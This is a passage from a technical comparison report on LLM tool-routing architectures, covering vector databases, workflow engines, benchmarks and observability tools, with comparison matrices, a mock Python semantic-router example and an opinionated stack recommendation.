focus. [40](https://github.com/milvus-io/milvus)\n- **Weaviate:** Object+vector DB, hybrid search. Schema/object model + multi-tenancy. [41](https://github.com/weaviate/weaviate)\n- **pgvector:** Postgres vector extension. Keep vectors with relational data; HNSW/IVFFlat. pgvector 0.8.2 fixed a buffer overflow with parallel HNSW index builds (CVE-2026-3172). [42](https://github.com/pgvector/pgvector)\n- **Redis / RediSearch:** In-memory DB + vector/search engine. Real-time query + cache + vector semantics. [43](https://github.com/redis/redis) [66](https://github.com/RediSearch/RediSearch)\n- **LanceDB:** Embedded multimodal retrieval library. Lakehouse/file-native retrieval orientation. [44](https://github.com/lancedb/lancedb)\n- **Vespa:** Distributed serving/search engine. First-class tensors + ranking + online serving. [45](https://github.com/vespa-engine/vespa) [67](https://docs.vespa.ai/en/querying/nearest-neighbor-search)\n- **Pinecone:** Managed vector DB. Ops-free managed service. [46](https://docs.pinecone.io/guides/get-started/overview)\n- **Elasticsearch:** Search engine with dense/sparse vectors. Hybrid lexical+semantic on one engine. [47](https://www.elastic.co/docs/solutions/search/vector)\n- **OpenSearch:** OSS search engine with vector search. Vendor-neutral search/vector stack. [48](https://github.com/opensearch-project/OpenSearch) [68](https://docs.opensearch.org/latest/vector-search/api/index/)\n\n**Take:** For this article\u2019s pattern: **FAISS** if you want the thinnest, fastest local primitive. **pgvector** if your team already lives in Postgres. **Qdrant/Weaviate/Milvus** if routing is a product feature with dedicated infra. **Elasticsearch/OpenSearch/Vespa** if you want hybrid metadata + lexical + semantic retrieval in one engine. [6](https://github.com/facebookresearch/faiss)\n\n### Durable Execution / Workflow Engines\n\n- **Temporal:** Durable workflow engine + event history. Replayable workflows; fault-tolerant event loop. Gold standard for long-running tool workflows. Temporal announced Workflow Streams for real-time user output, Standalone Activities for durable job processing, and Worker Versioning GA in 2026. [10](https://github.com/temporalio/sdk-python) [69](https://github.com/temporalio/temporal)\n- **Prefect:** Python workflow orchestration. Script-to-flow ergonomics. [49](https://github.com/PrefectHQ/prefect)\n- **Dagster:** Asset/data orchestration platform. Asset-centric orchestration/control plane. [50](https://github.com/dagster-io/dagster)\n- **Airflow:** DAG scheduler/orchestrator. Mature, ubiquitous workflow ops model. [51](https://github.com/apache/airflow)\n- **n8n:** Visual workflow automation with AI nodes. Visual builder + custom code + many integrations. [52](https://github.com/n8n-io/n8n)\n- **Windmill:** Scripts/webhooks/workflows/UIs platform. Developer-first scripts-to-workflows. [53](https://github.com/windmill-labs/windmill)\n- **Kestra:** Event-driven YAML orchestration. Declarative event/schedule triggers + plugin system. [54](https://github.com/kestra-io/kestra)\n\n**Take:** Routing solves **which** tool to expose. Durable workflow engines solve **what happens after that choice is made**. For anything with approvals, retries, compensations, or background runs, the workflow layer is mandatory. [10](https://github.com/temporalio/sdk-python)\n\n### Benchmark & Observability Layer: BFCL & Telemetry\n\nThe validation harness everyone cites. [36](https://proceedings.mlr.press/v267/patil25a.html)BFCL evaluates serial and parallel function calls across programming languages using a novel Abstract Syntax Tree (AST) evaluation method that can easily scale to thousands of functions. By v3/v4 it added the dimensions most relevant to large-scale routing: [38](https://arxiv.org/pdf/2510.22898)multi-turn and multi-step evaluations with state-based tracking, plus augmented categories such as missing functions and long-context interactions. The \u201cmissing functions\u201d category is effectively a direct test of the article\u2019s \u201cRouter Misses a Critical Tool\u201d risk. A key caveat for anyone benchmarking: [38](https://arxiv.org/pdf/2510.22898)the AST-based evaluation may not fully capture the nuances of real-world function-calling scenarios.\n\n- **BFCL v4:** Released April 2026, shifted to a holistic agentic evaluation model, covering five major areas including web search and model memory. BFCL-V4 tracks 13 models on a 0-1 scale, updated June 2026.\n- **SkillsBench:** Evaluates skill/agent use incl. composition. Focus on agent effectiveness over skills. A benchmark of 86 tasks across 11 domains paired with curated Skills and deterministic verifiers. SkillsBench v1.1 was released in June 2026. Curated Skills average 16.2% improvement, but model self-generated Skills can be ineffective or even harmful. [60](https://github.com/benchflow-ai/skillsbench)\n- **Gaia2:** Benchmarks LLM agents on dynamic and asynchronous environments with state verification.\n- **GenesisFunc:** Introduces multi-agent data generation pipelines to construct large-scale, linguistically diverse function-calling corpora.\n- **ToolACE:** Introduces multi-agent data generation pipelines to construct large-scale, linguistically diverse function-calling corpora.\n- **Live API-Bench:** 2,500+ live APIs for testing multi-step tool calling.\n- **LangSmith SDKs:** Tracing/evals/monitoring platform SDKs. Deep LangChain/LangGraph integration. [55](https://github.com/langchain-ai/langsmith-sdk)\n- **Langfuse:** Open-source LLM engineering platform. Observability + evals + prompts + datasets. Best open-source \u201cengineering loop\u201d platform. ClickHouse acquired Langfuse in January 2026. Langfuse Cloud is free to 50k units/mo, core repo is MIT. Langfuse v4 architecture changes yielded 165x performance improvements. [56](https://github.com/langfuse/langfuse)\n- **Arize Phoenix:** OSS AI observability/eval platform. OTel-first tracing + experiments/evals. Phoenix is evolving from observability into a context platform where humans and agents debug and improve systems together. [57](https://github.com/arize-ai/phoenix)\n- **Helicone:** OSS LLM observability platform. Easy monitoring/experimentation layer. [58](https://github.com/helicone/helicone)\n- **Gorilla Benchmark API Bench:** Tracks 3 models on reasoning, code, and tool calling tasks, updated June 2026.\n\n**Take:** Without this layer, a routed architecture will **silently drift**. The minimum serious stack is: traces, tool-candidate logs, final tool-call logs, token/cost metrics, offline eval suites. Open-source best-of-breed today is **Langfuse or Phoenix**, with BFCL/SkillsBench as external checks. [56](https://github.com/langfuse/langfuse)\n\n---\n\n## 2. Deep-Dive Comparative Features Matrices\n\n### Paradigm Comparison Matrix\n\nColumns chosen for maximum discriminating power across this specific problem space: **Paradigm**, **Selection Mechanism**, **Learning Signal**, **Where It Runs**, **Multi-turn/Dependency Awareness**, **Latency Profile**, **Maturity/License**.\n\n| Project                             | Paradigm              | Selection Mechanism                         | Learning Signal          | Deployment               | Dep/Multi-turn Aware  | Latency            | Maturity / License  |\n| ----------------------------------- | --------------------- | ------------------------------------------- | ------------------------ | ------------------------ | --------------------- | ------------------ | ------------------- |\n| **semantic-router** (aurelio)       | 1 Retrieval           | Embedding sim. over route utterances        | None (static)            | Library, pluggable index | No                    | ~ms                | Mature / MIT        |\n| **vLLM Semantic Router**            | 1 Retrieval           | BERT (Rust Candle) sim. filter              | None at runtime          | Envoy ExtProc proxy      | Partial (conv. state) | ~tens ms           | Active / Apache 2.0 |\n| **OATS**                            | 1 Retrieval+learned   | Embedding + offline-refined MLP/adapter     | Offline outcome feedback | Router/CPU               | No                    | ~4-5ms             | Research            |\n| **Online-Optimized RAG**            | 1 Retrieval+learned   | Embedding + online bandit GD                | Online success/fail      | Library add-on           | Partial               | Low                | Research            |\n| **ToolPickr**                       | 1 Retrieval           | Ensemble semantic + BM25 + reranker         | None                     | Library                  | No                    | ~ms                | Early WIP           |\n| **Toolshed**                        | 1+2                   | Retriever + query expansion + agent rerank  | Reranker                 | Pipeline                 | Partial               | Higher (multi-hop) | Research            |\n| **MCP-Zero**                        | 2 Active discovery    | Agent-initiated hierarchical retrieval      | None                     | Agent loop over MCP      | Yes (hierarchy)       | Variable           | Research            |\n| **ScaleMCP**                        | 2+4                   | Hybrid RAG/Graph-RAG, auto-sync index       | None                     | Service over MCP fleet   | Yes                   | Variable           | Research            |\n| **AnyTool**                         | 2+4                   | Category\u2192Tool\u2192API + self-reflection         | Self-reflect loop        | Agent                    | Yes                   | Higher             | Research            |\n| **MemTool**                         | 2                     | Tool-as-memory mgmt                         | Memory policy            | Agent runtime            | **Yes (multi-turn)**  | Variable           | Research            |\n| **Anthropic Code Exec / MCP**       | 3 Code                | Filesystem progressive disclosure           | None                     | Sandboxed code env       | Yes (code logic)      | Low TTFT           | Eng. guidance       |\n| **Cloudflare Code Mode**            | 3 Code                | TypeScript API generation                   | None                     | Workers sandbox          | Yes                   | Low                | Product             |\n| **Graph RAG-Tool Fusion**           | 4 Graph               | Graph + vector fusion                       | None                     | Pipeline                 | **Yes (deps)**        | Medium             | Research            |\n| **FastInsight**                     | 4 Graph               | GRanker + STeX fusion operators             | None                     | Pipeline                 | Yes                   | Medium             | Research            |\n| **Flexible GraphRAG**               | 4 Graph               | Hybrid semantic + graph search              | None                     | Platform                 | Yes                   | Medium             | OSS                 |\n| **NebulaGraph Fusion GraphRAG**     | 4 Graph               | Graph + vector + full-text fusion           | None                     | Platform                 | Yes                   | Medium             | Commercial/OSS      |\n| **ToolRerank / COLT / Re-Invoke**   | 4 Hierarchical        | BERT rerank / SLM / query-extract           | Varies                   | Pipeline                 | Partial               | Medium             | Research            |\n| **Tool2Vec**                        | 1 Retrieval           | Averaged user-pattern embeddings            | Pretrained on usage      | Index                    | No                    | Low                | Research            |\n| **ITR**                             | 1 Retrieval (+prompt) | Per-step minimal retrieval, confidence gate | Confidence gate          | Agent loop               | Yes (per step)        | Low                | Research            |\n| **Gorilla**                         | 1 Retrieval+FT        | Vector DB over API docs + finetuned LLM     | Fine-tuned               | Model + index            | No                    | Medium             | OSS (Apache)        |\n| **LangChain/LlamaIndex retrievers** | 1 Retrieval           | ObjectIndex / as_retriever top-K            | None                     | Library                  | Partial               | Low                | Mature / MIT        |\n\n### OSS Ecosystem & Infrastructure Matrix\n\n**Column definitions:**\n\n- **Cat**: AF=agent framework, TP=tool protocol, RT=router/gateway, VS=vector/search, WF=workflow engine, OB=observability, EV=benchmark\n- **Paradigm**: G=graph, P=pipeline, A=agent loop, C=client/server protocol, R=router, V=vector index/DB, D=durable workflow, O=observability, B=benchmark\n- **State**: S=stateless, M=memory, DB=persistent DB, D=durable event history/state\n- **API**: Py, TS, REST, gRPC, CLI, UI\n- **Deploy**: Lib, Self, Cloud, Hybrid\n- **JIT Tool Ctx**: Y=native/good fit, P=partial/manual, N=not core concern\n- **Ext**: H/M/L extensibility\n- **Health**: H/M/L qualitative based on repo activity/adoption\n\n| Item                    | Cat | Paradigm            | State        | API          | Deploy          | JIT Tool Ctx | Ext | License / Gov                 | Health | Source                                                                                               |\n| ----------------------- | --- | ------------------- | ------------ | ------------ | --------------- | ------------ | --- | ----------------------------- | ------ | ---------------------------------------------------------------------------------------------------- |\n| LangChain               | AF  | P/A                 | M            | Py/TS        | Lib/Cloud       | P            | H   | MIT                           | H      | [12](https://github.com/langchain-ai/langchain)                                                      |\n| LangGraph               | AF  | G/D                 | D            | Py/TS        | Lib/Cloud       | Y            | H   | MIT                           | H      | [8](https://github.com/langchain-ai/langgraph)                                                       |\n| LangGraph BigTool       | AF  | G/R                 | M            | Py           | Lib             | Y            | M   | MIT                           | M      | [3](https://github.com/langchain-ai/langgraph-bigtool)                                               |\n| LlamaIndex              | AF  | P/Q/A               | DB/M         | Py           | Lib/Cloud       | P            | H   | OSS/commercial mix            | H      | [13](https://github.com/run-llama/llama_index)                                                       |\n| Haystack                | AF  | P                   | M/DB         | Py           | Lib/Self        | P            | H   | Apache-2.0                    | H      | [14](https://github.com/deepset-ai/haystack)                                                         |\n| AutoGen                 | AF  | A                   | M            | Py           | Lib             | P            | M   | OSS                           | H      | [15](https://github.com/microsoft/autogen)                                                           |\n| Semantic Kernel / MAF   | AF  | A/P                 | M/D          | .NET/Py/Java | Lib/Hybrid      | P            | H   | OSS                           | H      | [16](https://github.com/microsoft/semantic-kernel)                                                   |\n| CrewAI                  | AF  | A/P                 | M            | Py           | Lib/Cloud       | P            | M   | MIT                           | H      | [17](https://github.com/crewaiinc/crewai)                                                            |\n| Agno                    | AF  | A/P/Platform        | DB/D         | Py/UI        | Hybrid          | Y            | H   | OSS                           | H      | [18](https://github.com/agno-agi/agno)                                                               |\n| PydanticAI              | AF  | A                   | M            | Py           | Lib             | P            | H   | OSS                           | H      | [19](https://github.com/pydantic/pydantic-ai)                                                        |\n| smolagents              | AF  | A/code              | M            | Py           | Lib             | P            | M   | OSS                           | H      | [20](https://github.com/huggingface/smolagents)                                                      |\n| Mastra                  | AF  | A/G                 | DB/D         | TS/UI        | Hybrid          | Y            | H   | Apache-2.0 + EE               | H      | [21](https://github.com/mastra-ai/mastra)                                                            |\n| BeeAI                   | AF  | A/P                 | M/D          | Py/TS        | Lib             | P            | M   | Apache-2.0                    | M      | [22](https://github.com/i-am-bee/beeai-framework)                                                    |\n| Atomic Agents           | AF  | A/components        | M            | Py           | Lib             | P            | M   | MIT                           | M      | [23](https://github.com/BrainBlend-AI/atomic-agents)                                                 |\n| DSPy                    | AF  | Program compiler    | M            | Py           | Lib             | P            | H   | MIT                           | H      | [24](https://github.com/stanfordnlp/dspy)                                                            |\n| OpenAI Agents SDK       | AF  | A/D                 | D            | Py/JS        | Lib/Cloud       | P            | M   | MIT + vendor center           | H      | [25](https://github.com/openai/openai-agents-python)                                                 |\n| Vercel AI SDK           | AF  | A/UI                | M            | TS           | Lib/Cloud       | P            | H   | OSS                           | H      | [61](https://vercel.com/ai-sdk)                                                                      |\n| OpenAI Function Calling | TP  | Tool schema         | S            | REST/SDK     | Cloud           | Y            | M   | Proprietary API               | H      | [4](https://platform.openai.com/docs/guides/function-calling?api-mode=responses)                     |\n| Anthropic MCP           | TP  | Protocol            | C            | SDK/API      | Hybrid          | Y            | H   | Open protocol                 | H      | [5](https://docs.anthropic.com/en/docs/mcp)                                                          |\n| MCP spec                | TP  | Protocol            | S            | Docs         | Hybrid          | Y            | H   | Open spec                     | H      | [2](https://modelcontextprotocol.io/specification/2025-06-18/architecture/index)                     |\n| MCP Python SDK          | TP  | C                   | M            | Py           | Lib             | Y            | H   | MIT                           | H      | [9](https://github.com/modelcontextprotocol/python-sdk)                                              |\n| MCP TS SDK              | TP  | C                   | M            | TS           | Lib             | Y            | H   | OSS                           | H      | [27](https://github.com/modelcontextprotocol/typescript-sdk/blob/main/docs/client.md)                |\n| FastMCP                 | TP  | C/server kit        | M            | Py           | Lib             | Y            | H   | OSS                           | H      | [28](https://github.com/mcp-research/jlowin__fastmcp)                                                |\n| mcp-agent               | TP  | A/D                 | D            | Py/CLI       | Lib/Cloud       | Y            | H   | OSS                           | M      | [29](https://github.com/lastmile-ai/mcp-agent)                                                       |\n| Smithery CLI            | TP  | Registry/CLI        | DB           | CLI          | Cloud/Hybrid    | Y            | M   | AGPL-3.0                      | M      | [30](https://github.com/smithery-ai/cli)                                                             |\n| Composio                | TP  | Registry/action hub | DB           | Py/TS/CLI    | Hybrid          | Y            | H   | OSS + commercial              | H      | [31](https://github.com/ComposioHQ/composio)                                                         |\n| semantic-router         | RT  | R                   | M            | Py           | Lib             | Y            | H   | MIT                           | M      | [1](https://github.com/aurelio-labs/semantic-router)                                                 |\n| RouteLLM                | RT  | R/learned           | M            | Py/API       | Lib/Self        | N            | H   | Apache-2.0                    | H      | [32](https://github.com/lm-sys/RouteLLM)                                                             |\n| LLMRouter               | RT  | R/learned           | M            | Py/CLI/UI    | Lib             | N            | H   | OSS                           | M      | [33](https://github.com/ulab-uiuc/LLMRouter)                                                         |\n| vLLM Semantic Router    | RT  | R/control plane     | DB           | REST/gRPC    | Self/Hybrid     | P            | H   | OSS                           | H      | [11](https://vllm-semantic-router.com/docs/intro/)                                                   |\n| LiteLLM Router          | RT  | Gateway/router      | DB/M         | Py/REST      | Self/Hybrid     | N            | H   | OSS                           | H      | [34](https://docs.litellm.ai/)                                                                       |\n| Portkey Gateway         | RT  | Gateway/policy      | DB           | REST/UI      | Self/Cloud      | N            | H   | MIT + commercial              | H      | [7](https://github.com/Portkey-ai/gateway)                                                           |\n| Routerly                | RT  | Gateway/router      | File/DB-lite | REST/UI      | Self            | N            | M   | OSS                           | M      | [35](https://github.com/Inebrio/Routerly)                                                            |\n| Squirrel LLM Gateway    | RT  | Gateway             | DB           | REST/UI      | Self            | N            | M   | OSS                           | M      | [36](https://github.com/mylxsw/llm-gateway)                                                          |\n| Anyscale llm-router     | RT  | Learned classifier  | M            | Py           | Tutorial        | N            | M   | OSS                           | M      | [37](https://github.com/anyscale/llm-router)                                                         |\n| FAISS                   | VS  | V                   | M            | C++/Py       | Lib             | Y            | H   | MIT                           | H      | [6](https://github.com/facebookresearch/faiss)                                                       |\n| Qdrant                  | VS  | V                   | DB           | REST/gRPC    | Self/Cloud      | Y            | H   | OSS                           | H      | [38](https://github.com/qdrant/qdrant)                                                               |\n| Chroma                  | VS  | V                   | DB           | Py/REST      | Self/Cloud      | Y            | H   | OSS                           | H      | [39](https://github.com/chroma-core/chroma)                                                          |\n| Milvus                  | VS  | V                   | DB           | REST/SDK     | Self/Cloud      | Y            | H   | OSS                           | H      | [40](https://github.com/milvus-io/milvus)                                                            |\n| Weaviate                | VS  | V/object DB         | DB           | REST/gRPC    | Self/Cloud      | Y            | H   | BSD-3                         | H      | [41](https://github.com/weaviate/weaviate)                                                           |\n| pgvector                | VS  | V/extension         | DB           | SQL          | Self/Managed PG | Y            | M   | OSS                           | H      | [42](https://github.com/pgvector/pgvector)                                                           |\n| Redis/RediSearch        | VS  | V/cache/search      | M/DB         | REST/clients | Self/Cloud      | Y            | H   | mixed open licenses           | H      | [43](https://github.com/redis/redis)                                                                 |\n| LanceDB                 | VS  | Embedded V          | DB/files     | Py/TS        | Lib/Self        | Y            | M   | OSS                           | M      | [44](https://github.com/lancedb/lancedb)                                                             |\n| Vespa                   | VS  | Search+rank engine  | DB           | REST/YQL     | Self/Cloud      | Y            | H   | Apache-2.0                    | H      | [45](https://github.com/vespa-engine/vespa)                                                          |\n| Pinecone                | VS  | Managed V DB        | DB           | REST/SDK     | Cloud           | Y            | M   | Commercial                    | H      | [46](https://docs.pinecone.io/guides/get-started/overview)                                           |\n| Elasticsearch           | VS  | Hybrid search       | DB           | REST         | Self/Cloud      | Y            | H   | source-available/commercial   | H      | [47](https://www.elastic.co/docs/solutions/search/vector)                                            |\n| OpenSearch              | VS  | Hybrid search       | DB           | REST         | Self/Cloud      | Y            | H   | Apache-2.0                    | H      | [48](https://github.com/opensearch-project/OpenSearch)                                               |\n| Temporal                | WF  | D                   | D            | SDK/gRPC/UI  | Self/Cloud      | N            | H   | OSS                           | H      | [10](https://github.com/temporalio/sdk-python)                                                       |\n| Prefect                 | WF  | D                   | DB           | Py/UI        | Self/Cloud      | N            | H   | Apache-2.0                    | H      | [49](https://github.com/PrefectHQ/prefect)                                                           |\n| Dagster                 | WF  | D/assets            | DB           | Py/UI        | Self/Cloud      | N            | H   | Apache-2.0                    | H      | [50](https://github.com/dagster-io/dagster)                                                          |\n| Airflow                 | WF  | DAG                 | DB           | Py/UI        | Self/Cloud      | N            | H   | Apache-2.0                    | H      | [51](https://github.com/apache/airflow)                                                              |\n| n8n                     | WF  | Visual flow         | DB           | UI/TS        | Self/Cloud      | N            | H   | fair-code                     | H      | [52](https://github.com/n8n-io/n8n)                                                                  |\n| Windmill                | WF  | Scripts/workflows   | DB           | UI/API       | Self/Cloud      | N            | H   | OSS                           | H      | [53](https://github.com/windmill-labs/windmill)                                                      |\n| Kestra                  | WF  | Event-driven YAML   | DB           | UI/API       | Self/Cloud      | N            | H   | Apache-2.0                    | H      | [54](https://github.com/kestra-io/kestra)                                                            |\n| LangSmith               | OB  | O                   | DB           | SDK/UI       | Cloud/Hybrid    | N            | M   | MIT SDK + commercial platform | H      | [55](https://github.com/langchain-ai/langsmith-sdk)                                                  |\n| Langfuse                | OB  | O                   | DB           | SDK/UI       | Self/Cloud      | N            | H   | MIT + EE exceptions           | H      | [56](https://github.com/langfuse/langfuse)                                                           |\n| Phoenix                 | OB  | O                   | DB           | SDK/UI       | Self/Cloud      | N            | H   | ELv2                          | H      | [57](https://github.com/arize-ai/phoenix)                                                            |\n| Helicone                | OB  | O                   | DB           | SDK/UI       | Self/Cloud      | N            | M   | Apache-2.0                    | M      | [58](https://github.com/helicone/helicone)                                                           |\n| BFCL                    | EV  | B                   | S            | Repo         | OSS             | N            | M   | OSS benchmark                 | H      | [59](https://github.com/ShishirPatil/gorilla/blob/main/berkeley-function-call-leaderboard/README.md) |\n| SkillsBench             | EV  | B                   | S            | Repo         | OSS             | N            | M   | OSS benchmark                 | M      | [60](https://github.com/benchflow-ai/skillsbench)                                                    |\n\n---\n\n## 3. Architecture-as-Code & Best-Practice Patterns\n\n### The Baseline\u2019s 3-Step Implementation Pattern\n\nThe baseline article formalizes the transition from the Fat Agent to the decoupled model as a strict three-step pattern (Build Index $\\rightarrow$ Route Query $\\rightarrow$ Dynamic Injection), recommending a baseline of $K=3 \\text{ to } 5$ routed tools to stabilize accuracy above 83%. Below is the production-ready Python implementation of this routing logic:\n\n```python\nimport numpy as np\nfrom typing import List, Dict, Any, Tuple\n\n# Mock embedding function (Replace with text-embedding-3-small or Cohere in prod)\ndef get_embedding(text: str) -> np.ndarray:\n    hash_val = sum(ord(c) for c in text)\n    np.random.seed(hash_val % 123456789)\n    vec = np.random.rand(1536)\n    return vec / np.linalg.norm(vec)\n\n# Mock schema database mapping tool names to full JSON Schemas\nTOOL_SCHEMA_DB: Dict[str, Dict[str, Any]] = {\n    \"search_flights\": {\"name\": \"search_flights\", \"description\": \"Query flight databases...\"},\n    \"get_weather\": {\"name\": \"get_weather\", \"description\": \"Retrieve current meteorological data...\"}\n}\n\n# 1. Build Tool Index (Offline/Startup)\nTOOL_EMBEDDINGS: Dict[str, np.ndarray] = {\n    name: get_embedding(meta[\"description\"]) for name, meta in TOOL_SCHEMA_DB.items()\n}\n\ndef cosine_similarity(v1: np.ndarray, v2: np.ndarray) -> float:\n    return float(np.dot(v1, v2) / (np.linalg.norm(v1) * np.linalg.norm(v2)))\n\n# 2. Route Each Query (Runtime Gatekeeper)\ndef route_query(user_query: str, k: int = 3) -> List[str]:\n    query_vector = get_embedding(user_query)\n    scores = [(name, cosine_similarity(query_vector, vec)) for name, vec in TOOL_EMBEDDINGS.items()]\n    scores.sort(key=lambda x: x[1], reverse=True)\n    return [name for name, _ in scores[:k]]\n\n# 3. Dynamic Injection & Dispatch\ndef execute_agent_pipeline(user_query: str):\n    selected_tools = route_query(user_query, k=3)\n    injected_schemas = [TOOL_SCHEMA_DB[name] for name in selected_tools if name in TOOL_SCHEMA_DB]\n\n    llm_payload = {\n        \"model\": \"gpt-4o\",\n        \"messages\": [{\"role\": \"user\", \"content\": user_query}],\n        \"tools\": [{\"type\": \"function\", \"function\": schema} for schema in injected_schemas]\n    }\n    # Dispatch to LLM...\n```\n\n### The Decision Flow\n\nThe single most useful artifact I can give an engineer evaluating this space is a _decision tree_, because the article\u2019s \u201cRule of 20 / Rule of 50\u201d is too coarse:\n\n```mermaid\nflowchart TD\nStart([Tool catalog size?]) --> Q1{\u2264 20 tools?}\nQ1 -- Yes --> Static[Static injection.Skip the router entirely.]\nQ1 -- No --> Q2{Tools havedependencies orlarge data payloads?}\nQ2 -- Heavy data flow --> Code[Paradigm 3:Code Execution / Code Modekeep data out of context]\nQ2 -- Strong deps --> Graph[Paradigm 4:Graph RAG-Tool Fusion]\nQ2 -- Mostly independent --> Q3{Have outcomelogs / RPS scale?}\nQ3 -- High RPS, want learning --> OATS[Paradigm 1 + learned:OATS / Online-RAGoffline or bandit refinement]\nQ3 -- Standard --> SR[Paradigm 1:semantic-router or vLLM-SRK=5 + request_more_tools fallback]\nSR --> Multi{Multi-turn churn?}\nMulti -- Yes --> Mem[Layer in MemTool-styletool memory management]\n```\n\n### Recommended Production Architecture\n\n```mermaid\nflowchart LR\nU[User Query] --> P[Policy Prefilter\ntenant/auth/risk/domain]\nP --> R[Retriever\nmetadata + lexical + vector]\nR --> K[Top-K Tool Cards\ncompact routing view]\nK --> X[Optional Reranker / Scorer\npolicy + learned ranking]\nX --> J[JIT Schema Loader\nexecution view only]\nJ --> O[Orchestrator\ngraph/workflow runtime]\nO --> T[Tool Calls]\nT --> S[State Store / Durable History]\nO --> V[Tracing / Evals / Cost Telemetry]\n```\n\n### Best-Practice Architecture Patterns Behind the Winning Systems\n\n1. **Tool catalog != prompt context:** Treat tools like a searchable artifact registry, not static prompt text. MCP registries, Smithery, Composio, and Agno-style registries all reinforce this pattern. [30](https://github.com/smithery-ai/cli)\n2. **Two views per tool:** **Routing card** for retrieval; **Execution schema** for final invocation. This avoids embedding huge JSON blobs while still preserving strict execution contracts. OpenAI function-calling schemas, MCP structured outputs, and Pydantic-style validation fit this split naturally. [4](https://platform.openai.com/docs/guides/function-calling?api-mode=responses)\n3. **Hybrid routing beats pure semantic routing:** Use metadata filters, lexical cues, embeddings, optional learned rerank, policy scoring. Search systems and routers already support this mix better than a single embedding lookup does. ToolPickr's ensemble of semantic search + BM25 + cross-encoder reranker is a practical example. [47](https://www.elastic.co/docs/solutions/search/vector)\n4. **Explicit workflows beat unconstrained loops:** Once a routed tool is selected, agent behavior should run in a graph/workflow runtime, not an endless reflective chat loop. LangGraph and Temporal are the cleanest exemplars. [8](https://github.com/langchain-ai/langgraph)\n5. **Observability is part of selection quality:** The router is only as good as its miss logs, confusion sets, and offline eval suites. Langfuse/Phoenix/LangSmith + BFCL/SkillsBench are the minimal serious loop. [56](https://github.com/langfuse/langfuse)\n\n**Design rule:** maintain **two representations** of every tool:\n\n- **Routing view:** short description, tags, auth scope, side-effect flags, examples, embeddings.\n- **Execution view:** full JSON schema / MCP surface / SDK binding / approval policy.\n  That split is the real implementation upgrade beyond the article\u2019s \u201cvector DB + fetch schema\u201d simplification. MCP SDKs, FastMCP, Smithery, Composio, and large orchestration frameworks all benefit from this separation. [9](https://github.com/modelcontextprotocol/python-sdk)\n\n---\n\n## 4. Hall of Fame \u2014 Top 5 Most Technically Impressive\n\n1. **Anthropic Code Execution with MCP (+ Cloudflare Code Mode).** The most architecturally consequential idea in the space. It reframes the problem from \u201cwhich tools to inject\u201d to \u201clet the model write code against a filesystem of tools,\u201d and the two-org independent convergence is the strongest possible signal. The privacy property \u2014 data never entering context \u2014 is something no Paradigm-1 router can replicate. _Why it stands out:_ it questions the premise everyone else optimizes within.\n2. **OATS.** The most _honest_ engineering in the field. It names the semantic router\u2019s fatal flaw (no learning), respects a real production SLA (single-digit ms, no GPU), and solves it offline. It is the rare research artifact written like a systems paper, with a CPU-latency table at 10K rps. _Why it stands out:_ discipline under hard constraints.\n3. **vLLM Semantic Router.** The only production-grade _open-source_ implementation here with real observability and a serious systems design \u2014 a Rust+Go Envoy ExtProc with Prometheus/Grafana baked in. _Why it stands out:_ it\u2019s the one you can actually deploy and monitor on day one.\n4. **Graph RAG-Tool Fusion / FastInsight.** Tackle the dependency problem that flat cosine-similarity routers structurally cannot. Recognizing that `book_flight` depends on `search_flights` is the difference between a demo and a working multi-step agent.\n5. **ITR (Instruction-Tool Retrieval).** Generalizes the article\u2019s insight in the most elegant direction \u2014 route the _system prompt itself_, not just tools \u2014 and reports the cleanest compounding gains (95% token cut, 32% routing improvement, 2-20x more loops). _Why it stands out:_ it sees that tool schemas are just one kind of context to be retrieved.\n\n---\n\n## 5. Opinionated Verdict: State of the Art\n\n**On the article\u2019s core thesis: correct, but a generation behind the frontier.** Semantic Routing + JIT Injection is the right _floor_. The accuracy-collapse and token-bloat problems are real and well-corroborated by independent research. Any team running >50 tools statically is leaving money and reliability on the table. The article\u2019s named solution\u2014**semantic routing + JIT context injection**\u2014is **the right direction, but only phase 1**. The actual state of the art is:\n\n> **thin agent runtime + searchable tool registry + hybrid router + JIT schema injection + durable workflow engine + continuous telemetry/evals**\n> That is the architecture that survives real-world scale. Anything less eventually collapses under some combination of latency, hallucination, policy risk, and debugging pain. [1](https://github.com/aurelio-labs/semantic-router)\n\n**However, three opinionated criticisms of the source article:**\n\n1. **It conflates routing\u2019s value with code-execution\u2019s headline number.** The 98.7% figure it cites belongs to Anthropic\u2019s _code execution_ architecture \u2014 a different and arguably superior paradigm \u2014 not to semantic routing. A semantic router gets you ~99% savings on _tool-definition_ tokens but does _nothing_ for the larger problem of intermediate-result tokens flowing through context, which is exactly what code execution solves. Cloudflare's Code Mode corroborates this, achieving up to 80% token savings.\n2. **Static cosine similarity is the weakest viable router, yet the article presents it as the destination.** The frontier (OATS offline refinement, Online-RAG bandits) has moved to _learned_ routing precisely because the article\u2019s own \u201cRouter Misses a Critical Tool\u201d risk is unsolvable by tuning K. K=5 + a `request_more_tools` fallback is a 2024-era patch; outcome-aware embeddings are the 2026 answer.\n3. **It ignores dependencies and multi-turn churn.** Flat top-K retrieval has no concept of tool ordering (Graph RAG, FastInsight) or tool-set evolution across a conversation (MemTool). Real customer-service agents \u2014 the article\u2019s own example \u2014 live and die by these.\n\n**Open-source composable primitives vs. integrated platforms:** This is a rare space where the open-source primitives _win decisively_. `semantic-router` (MIT) + a local FAISS/HNSW index + your own logging gives you 90% of the value with full transparency and zero lock-in. vLLM-SR (Apache 2.0) covers the production/observability tier. The integrated commercial offerings here are mostly thin wrappers over the same embedding-search primitive plus a managed vector DB \u2014 paying for which mainly buys you the managed index hop the article itself warns against for small catalogs. The one genuinely hard-to-replicate capability is **secure code-execution sandboxing** (Paradigm 3), where the infra burden \u2014 [19](https://www.anthropic.com/engineering/code-execution-with-mcp)a secure execution environment with sandboxing, resource limits, and monitoring adds operational overhead and security considerations \u2014 is real enough that a managed platform (Cloudflare Workers, Anthropic's harness) may justify itself.\n\n### Best Open-Source Composable Stack Recommendation\n\nFor a production system with **100+ tools**, the recommended OSS stack is:\n\n- **Runtime:** LangGraph\n- **Durability:** Temporal if failures/approvals/background runs matter\n- **Tool protocol:** MCP SDK/FastMCP\n- **Registry/discovery:** Smithery or an internal catalog service\n- **Recall engine:** FAISS for local simplicity, pgvector for low-friction enterprise, Qdrant for dedicated service\n- **Router:** semantic-router for first-pass recall, optionally plus custom rerank/DSPy logic\n- **Telemetry/evals:** Langfuse or Phoenix, plus BFCL/SkillsBench-style suites [8](https://github.com/langchain-ai/langgraph)\n\nThat stack is more work than a commercial all-in-one, but it is **vastly better** for inspectability, offline testing, vendor independence, policy control, cost control, and self-hosting. [7](https://github.com/Portkey-ai/gateway)\n\n### Best 